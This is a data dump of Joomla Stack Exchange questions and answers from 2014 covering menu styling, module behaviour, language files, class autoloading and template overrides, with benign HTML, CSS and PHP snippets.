  <row Id="5274" PostTypeId="1" AcceptedAnswerId="5275" CreationDate="2014-11-17T10:29:23.273" Score="1" ViewCount="273" Body="&lt;p&gt;I have a minor problem with my site: sometimes when I navigate through my site, or away to others and back, the latest articles added to my site - displayed on my front page news feed - appears blank. On refresh all the news items re-appear. Whilst not being a major problem it may confuse visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uses &quot;Latest News&quot; Module which I think comes boxed with joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using what I think is the standard module in joomla 2.5 and with a template purchased from a professional site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user2205" LastActivityDate="2014-11-17T10:33:46.437" Title="Latest news articles in front page feed disappear sometimes" Tags="|joomla-2.5|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5275" PostTypeId="2" ParentId="5274" CreationDate="2014-11-17T10:33:46.437" Score="0" Body="&lt;p&gt;This is not normal behavior for the default &quot;Latest News&quot; module. From what you have mentioned, it would seem that you have another extension on your site using a script (most likely jQuery based) which is hiding the content of the module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have no provided a link to your site, I can't help track the issue for you, so what I would recommend you do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open you browser console and first check for any error just to be on the safe side. Also check the scripts in the &lt;code&gt;head&lt;/code&gt; to see if any of them look like they're hiding your content.&lt;/li&gt;&#xA;&lt;li&gt;Temporarily disable any modules you using on your homepage such as sliders or anything else that is animated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-17T10:33:46.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5276" PostTypeId="1" AcceptedAnswerId="5277" CreationDate="2014-11-17T10:55:00.493" Score="2" ViewCount="480" Body="&lt;p&gt;I'm working on customizing the Joomla menu as a little experiment to see how customizable I can make it. However, now that I've made every menu item into an editable button, I've decided to change them from UL/LI to DIV's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the thing is, I've been using the default  &lt;code&gt;mod_menu&lt;/code&gt;, and in there you don't really work with &lt;code&gt;&amp;lt;a href...&lt;/code&gt;  or anything, and so when I turn the li's into div's, it's only the text within the div that is clickable rather than the entire div. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks nice, and it almost does what I want it to do, but main priority is that the entire div containing the one article link acts as a button, that I can click to go to that page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how to do so?&lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="126" LastEditDate="2016-01-22T00:13:52.420" LastActivityDate="2016-01-22T00:13:52.420" Title="Joomla menu items into clickable div's" Tags="|joomla-2.5|module|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5277" PostTypeId="2" ParentId="5276" CreationDate="2014-11-17T11:08:16.127" Score="1" Body="&lt;p&gt;Just to clarify, do not remove the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag at all as this contains the links &lt;code&gt;href&lt;/code&gt; and if removed, you will need to resort to something like jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming for example you have the following markup for a menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;About&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently the text is the only clickable thing because the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag by default is &lt;code&gt;display: inline;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all you have to do is use the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.menu .item a {&#xA;    display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This basically extends the element to the full dimensions of it's parent.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-17T11:08:16.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5278" PostTypeId="1" CreationDate="2014-11-17T11:46:42.097" Score="1" ViewCount="1271" Body="&lt;p&gt;How to place widget code in Joomla 3.0 site through a module. Earlier in Joomla 2.5, I used Advanced HTML but could not locate in Joomla 3.3.&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2014-11-18T01:22:25.650" Title="How to place widget in Joomla 3.0 as module" Tags="|module|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5279" PostTypeId="1" AcceptedAnswerId="5281" CreationDate="2014-11-17T13:07:16.840" Score="0" ViewCount="60" Body="&lt;p&gt;I am currently busy debugging an extension a colleque wrote. That means I have not full knowledge of how the extension works, and my limited experience with Joomla does not help me with a little problem I encountered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension has an entry in the admin menu, however the menu entry is not translated and uses a placeholder alias from the database... that is until I click the menu link. As long as the menu item is active, the translation works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked and see that the language files are there and apparently correctly configured, the language folder is tagged under files in the manifest file, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone a hint for me where that strange incoherence could come from?&lt;/p&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2014-11-17T13:16:52.030" Title="Joomla 2.5 Admin menu translation issues" Tags="|joomla-2.5|administrator|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5280" PostTypeId="2" ParentId="5278" CreationDate="2014-11-17T13:11:46.277" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;If you want to implement a well-known widget, for instance a &lt;strong&gt;Facebook Like&lt;/strong&gt;, you can find several extensions already developed and tested in &lt;strong&gt;Joomla! Extensions Directory&lt;/strong&gt; &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If your widget is not already developed, you look for a similar widget in &lt;strong&gt;JED&lt;/strong&gt; and change the code to match your requirements. All extensions in JED are open source GPL.&lt;/li&gt;&#xA;&lt;li&gt;If your widget is very simple, you can simply install an extension to add &lt;strong&gt;Custom Code in content&lt;/strong&gt; &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content&lt;/a&gt; or create a module to have the HTML and Javascript code (similar to Advanced HTML), like &lt;em&gt;NoNumber's Sourcerer&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-17T13:11:46.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5281" PostTypeId="2" ParentId="5279" CreationDate="2014-11-17T13:16:52.030" Score="0" Body="&lt;p&gt;Joomla extensions have generally two translation files: en-GB.com_myextension.ini and en-GB.com_myextension.sys.ini.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;en-GB.com_myextension is loaded automatically when the extension is executed.&lt;/li&gt;&#xA;&lt;li&gt;en-GB.com_myextension.sys.ini is loaded automatically always to show information about the extension (name and description), when the main file is not loaded, for instance to show it in the menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition, an extension may have more extension-specific language files.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-17T13:16:52.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5282" PostTypeId="2" ParentId="5268" CreationDate="2014-11-17T13:20:20.137" Score="1" Body="&lt;p&gt;Performance is a big subject. However, this article, from &lt;a href=&quot;http://phproberto.com&quot; rel=&quot;nofollow&quot;&gt;Roberto Segura Blog&lt;/a&gt;, shows a practical case to answer your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla! rendering tools benchmark&lt;/strong&gt; &#xA;&lt;a href=&quot;http://phproberto.com/en/blog/21-joomla-rendering-benchmarks&quot; rel=&quot;nofollow&quot;&gt;http://phproberto.com/en/blog/21-joomla-rendering-benchmarks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-17T13:20:20.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5283" PostTypeId="1" CreationDate="2014-11-17T16:29:11.520" Score="1" ViewCount="58" Body="&lt;p&gt;Function getLanguage() works on .de but not on .com domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I forgot sth. right in the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5228/how-to-use-jfactorygetlanguage-from-another-directory&quot;&gt;The Code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wneI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2125" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-11-18T15:04:11.820" Title="Function getLanguage() on domain?" Tags="|joomla-2.5|php|" AnswerCount="1" CommentCount="6" ClosedDate="2014-11-18T20:56:20.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="5284" PostTypeId="1" CreationDate="2014-11-17T16:37:22.467" Score="5" ViewCount="744" Body="&lt;p&gt;I'm trying to make a Joomla menu module to behave like the menu from this site: &lt;a href=&quot;http://wachtel.de/backoefen/etagenoefen.html&quot; rel=&quot;nofollow&quot;&gt;http://wachtel.de/backoefen/etagenoefen.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's important is that every menu level is displayed in single panel - one under another. It seems almost impossible to do in pure CSS when given the standard Joomla menu module code, which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav menu&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;item-108&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;1-level-1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-124&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;1-level-2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-125 active deeper parent&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;1-level-3&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav-child unstyled small&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;item-164&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;2-level-1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;item-165&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;2-level-2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;item-166 current active deeper parent&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;#&quot;&amp;gt;2-level-3&amp;lt;/a&amp;gt;&#xA;            &amp;lt;ul class=&quot;nav-child unstyled small&quot;&amp;gt;&#xA;                &amp;lt;li class=&quot;item-212&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;3-level-1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li class=&quot;item-213&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;3-level-2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;item-210&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;2-level-3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;item-211&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;2-level-4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;item-126&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;1-level-4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to change the way the code is generated so it puts every menu level in separate block? Or maybe this behavior can be done in CSS without having to change the output code? I don't want to do this in JS until it's absolutely necessary.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="126" LastEditDate="2014-12-03T10:27:31.013" LastActivityDate="2014-12-03T10:27:31.013" Title="Joomla menu module - display levels in separate panels" Tags="|menu|template-override|css|module-display|menu-parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5285" PostTypeId="2" ParentId="5284" CreationDate="2014-11-17T17:49:45.630" Score="5" Body="&lt;p&gt;I won't give you code on how to create a such menu, but I will give you an idea that will allow you to create a similar end result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a &quot;&lt;strong&gt;&lt;a href=&quot;http://docs.joomla.org/Split_menus&quot; rel=&quot;nofollow noreferrer&quot;&gt;Split-Menu&lt;/a&gt;&lt;/strong&gt;&quot;, by using 2 menu modules. &#xA;At the First Menu Module (main first-level module) you will set to show only up to level 1 menu-items, in the:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module settings&lt;/strong&gt; -&gt; &lt;strong&gt;Start Level&lt;/strong&gt; &amp;amp; &lt;strong&gt;End Level&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the second module, you will set to show level from 2 to 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Position the 2 modules at the same module position and then adjust their CSS. &#xA;If you want to have different styling for the modules, add a custom css class to any of the modules, in the &lt;strong&gt;Advanced Settings Tab&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6XuLK.jpg&quot; alt=&quot;Menu Module - Menu Items Level Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-17T17:49:45.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5286" PostTypeId="1" AcceptedAnswerId="5353" CreationDate="2014-11-17T19:52:01.290" Score="8" ViewCount="2402" Body="&lt;p&gt;This is probably a really stupid question but I cannot find the answer and trial and error has failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing a component for Joomla 3.x and I have a number of classes that I want to use.  I am trying to implement the &lt;code&gt;JLoader::registerPrefix()&lt;/code&gt; method.  Lets say I have two classes &lt;code&gt;Helper&lt;/code&gt; and &lt;code&gt;NotHelpful&lt;/code&gt;. &lt;code&gt;Helper&lt;/code&gt; is a static class stored at:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JPATH_LIBRARIES . '/foo/bar/Helper.php' &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;NotHelpful&lt;/code&gt; is a non static class stored at:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JPATH_LIBRARIES . '/foo/baz/NotHelpful.php'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I want to register these my understanding is I would call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerPrefix('Foo', JPATH_LIBRARIES . '/foo'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I am doing from the entry point to the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to call &lt;code&gt;Helper&lt;/code&gt;, I would just use &lt;code&gt;FooBarHelper::method1();&lt;/code&gt; or to instantiate a new &lt;code&gt;NotHelpful&lt;/code&gt; would be &lt;code&gt;$Class = new FooBazNotHelpful();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is unclear to me is what the actual class name inside of &lt;em&gt;Helper.php&lt;/em&gt; or &lt;em&gt;NotHelpful.php&lt;/em&gt; should be.  Should it be &lt;code&gt;FooBarHelper&lt;/code&gt;, &lt;code&gt;Helper&lt;/code&gt;, &lt;code&gt;BarHelper&lt;/code&gt;, or something else entirely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to call &lt;code&gt;FooBarHelper::method1();&lt;/code&gt; I get the error no matter what my class is named it seems:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PHP Fatal error:  Class 'FooBarHelper' not found in &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am clearly doing at least one thing wrong.  Can anyone tell me what one or more of them are?&lt;/p&gt;&#xA;" OwnerUserId="1667" LastEditorUserId="159" LastEditDate="2014-11-18T21:05:31.950" LastActivityDate="2014-11-23T04:34:07.393" Title="Problems auto loading classes with JLoader::registerPrefix" Tags="|joomla-3.x|autoload|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5287" PostTypeId="2" ParentId="5248" CreationDate="2014-11-17T20:18:33.137" Score="-1" Body="&lt;p&gt;Ok, i found the solution.&#xA;All the information provided above were correct and helped me to solve it completely. Thank you!&#xA;The central issue was that i do my changes in the wrong file! I think that the template &quot;Afterburner2&quot; doesn't use neither the core files (under _sitename\layouts\joomla\content\intro_image.php) from joomla nor the files for override (under _sitename\templates_templateName\html\layouts\joomla\content).&#xA;When you want to change the intro_image part and you use the &quot;Afterburner2&quot;-Template you have to edit the File under _sitename\plugins\system\gantry\overrides\3.3\2.5\com_content\category\blog_item.php. On Line 123-132 you can find the part for the intro_image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if (isset($images-&amp;gt;image_intro) and !empty($images-&amp;gt;image_intro)) : ?&amp;gt;&#xA;&amp;lt;?php $imgfloat = (empty($images-&amp;gt;float_intro)) ? $params-&amp;gt;get('float_intro') : $images-&amp;gt;float_intro; ?&amp;gt;&#xA;&amp;lt;div class=&quot;img-intro-&amp;lt;?php echo htmlspecialchars($imgfloat); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;img&#xA;    &amp;lt;?php if ($images-&amp;gt;image_intro_caption):&#xA;        echo 'class=&quot;caption&quot;'.' title=&quot;' .htmlspecialchars($images-&amp;gt;image_intro_caption) .'&quot;';&#xA;    endif; ?&amp;gt;&#xA;    src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;A working solution looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ($params-&amp;gt;get('access-view')) :&#xA;        $link = JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid));&#xA;    else :&#xA;        $menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;        $active = $menu-&amp;gt;getActive();&#xA;        $itemId = $active-&amp;gt;id;&#xA;        $link1 = JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;Itemid=' . $itemId);&#xA;        $returnURL = JRoute::_(ContentHelperRoute::getArticleRoute($this-&amp;gt;item-&amp;gt;slug, $this-&amp;gt;item-&amp;gt;catid));&#xA;        $link = new JUri($link1);&#xA;        $link-&amp;gt;setVar('return', base64_encode($returnURL));&#xA;    endif;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php  if (isset($images-&amp;gt;image_intro) and !empty($images-&amp;gt;image_intro)) : ?&amp;gt;&#xA;    &amp;lt;?php $imgfloat = (empty($images-&amp;gt;float_intro)) ? $params-&amp;gt;get('float_intro') : $images-&amp;gt;float_intro; ?&amp;gt;&#xA;    &amp;lt;div class=&quot;img-intro-&amp;lt;?php echo htmlspecialchars($imgfloat); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $link; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;img&#xA;            &amp;lt;?php if ($images-&amp;gt;image_intro_caption):&#xA;                echo 'class=&quot;caption&quot;' . ' title=&quot;' . htmlspecialchars($images-&amp;gt;image_intro_caption) . '&quot;';&#xA;            endif; ?&amp;gt;&#xA;                src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is not exactly like the solution here &lt;a href=&quot;https://joomla.stackexchange.com/questions/2538/layout-overrides-intro-image-link/5253#5253&quot;&gt;Similar Solution&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to conform the code a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for each Tip i get!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally i want to say, that i think i edited the core files which the Template afterburner2 uses...it is not a override i think. I will look for it, but if somebody know a better way to do, for example a override, i would be glad of another solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a little more research and antoher hints from FFrewin (again &quot;Thank you&quot; at this point :)) i think a found another solution without edit the core-file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the file &quot;blog_item.php&quot; from the Folder _sitename\plugins\system\gantry\overrides\3.3\2.5\com_content\category (where the core files stored) to the following location _sitename\templates\_templateName\html\joomla\3.3\com_content\category. When the file is stored there and contains the modifications i described before it also works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Folder _sitename\templates\_templateName\html\joomla does exist but in there only the folders &quot;3.0&quot;, &quot;3.1&quot;, &quot;3.2&quot; does exist. Because i use the the Joomla-Version &quot;3.3.6&quot; at the moment, i have to create the folder &quot;3.3&quot; manually. In the folder &quot;3.3&quot; i created another folder &quot;com_content&quot; and in there a folder &quot;category&quot;, so that i ended at the path i told before. In the folder &quot;category&quot; i copied the file blog_item.php from _sitename\plugins\system\gantry\overrides\3.3\2.5\com_content\category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that is a better solution, because you must not touch the core files.&lt;/p&gt;&#xA;" OwnerUserId="2131" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-11-27T19:05:14.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5288" PostTypeId="1" AcceptedAnswerId="5303" CreationDate="2014-11-17T23:17:06.103" Score="2" ViewCount="65" Body="&lt;p&gt;&lt;strong&gt;Is there any way for me to feed an alternate/additional location to look for language files for a given incoming request?&lt;/strong&gt; I'd like to be able to give the hint from within a view.html.php file, but a system or other type of plugin would also be a another suitable alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a word of explanation, I maintain a Joomla site with a component that offers a form of multi-tenanting. Periodically, I get asked by one tenant or another to change a label here or there on the site, but often times I can't do so without negative implications for other tenants. If I could capture language files for each tenant somehow, this would solve the issue for me. Each tenant typically has there own customised template, so it would be ideal to be able to capture the language files within the template directory structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, &lt;strong&gt;I want to avoid creating template overrides&lt;/strong&gt; for this purpose though, as this just creates a maintenance nightmare. I've been down that road.&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="159" LastEditDate="2014-11-18T20:58:47.133" LastActivityDate="2014-11-18T20:58:47.133" Title="Specify alternate location for language files based on incoming parameter" Tags="|overrides|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5289" PostTypeId="1" AcceptedAnswerId="5298" CreationDate="2014-11-18T00:08:20.740" Score="3" ViewCount="150" Body="&lt;p&gt;Sometimes, when I install a new template in Joomla, the default template style name is set to &lt;code&gt;JLIB_INSTALLER_DEFAULT_STYLE&lt;/code&gt;. So far I haven't found any particular pattern as to when it happens, but it usually happens on localhost (not always though, and not only on localhost). It also happens with Shape5 templates (Vertex framework), and sometimes with other templates as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file &lt;code&gt;JOOMLAROOT/language/en-GB/en-GB.lib_joomla.ini&lt;/code&gt; has the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLIB_INSTALLER_DEFAULT_STYLE=&quot;%s - Default&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for some reason the string is used, and not the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this happens? Is it a bug in Joomla or in the templates?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-18T09:47:15.293" Title="New templates named JLIB_INSTALLER_DEFAULT_STYLE" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5290" PostTypeId="2" ParentId="5278" CreationDate="2014-11-18T01:22:25.650" Score="2" Body="&lt;p&gt;The built-in Custom HTML module in Joomla can work, but if you're using TinyMCE as your editor, it will try to clean up your code, thus removing code that such Widgets might contain (usually &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags and often empty &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tags).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround is to use another editor (&lt;a href=&quot;http://joomlacontenteditor.net&quot; rel=&quot;nofollow&quot;&gt;JCE&lt;/a&gt;, &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/rokpad&quot; rel=&quot;nofollow&quot;&gt;RokPad&lt;/a&gt; etc.), but this might cause problems if the module is opened later using TinyMCE again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to add any code is to use a custom HTML module, like &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules/16359&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-11-18T01:22:25.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5292" PostTypeId="2" ParentId="5182" CreationDate="2014-11-18T01:38:08.563" Score="1" Body="&lt;p&gt;You might want to try a tool called Mod Rewrite Generator (&lt;a href=&quot;http://www.generateit.net/mod-rewrite/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.generateit.net/mod-rewrite/index.php&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a tool that allows you to insert any URL with parameters (domain.com/index.php?lang=en), then choose how you want to use them in the final url, and then gives you the code for your &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find it usefull in many situations.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-11-18T01:38:08.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5293" PostTypeId="2" ParentId="4820" CreationDate="2014-11-18T04:07:16.853" Score="0" Body="&lt;p&gt;For SSO with JMapMyLDAP, once it's enabled in the plugin, make sure your sign-in page on the web server has at least basic authentication enabled.  If your machine is not part of a domain or you don't have NTLM-IWA configured you'll get a a simple username/pass window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testing set JMMLDAP to 'force login'.  Then when you login to the basic auth window you'll be automatically logged into the site.&lt;/p&gt;&#xA;" OwnerDisplayName="user2211" LastActivityDate="2014-11-18T04:07:16.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
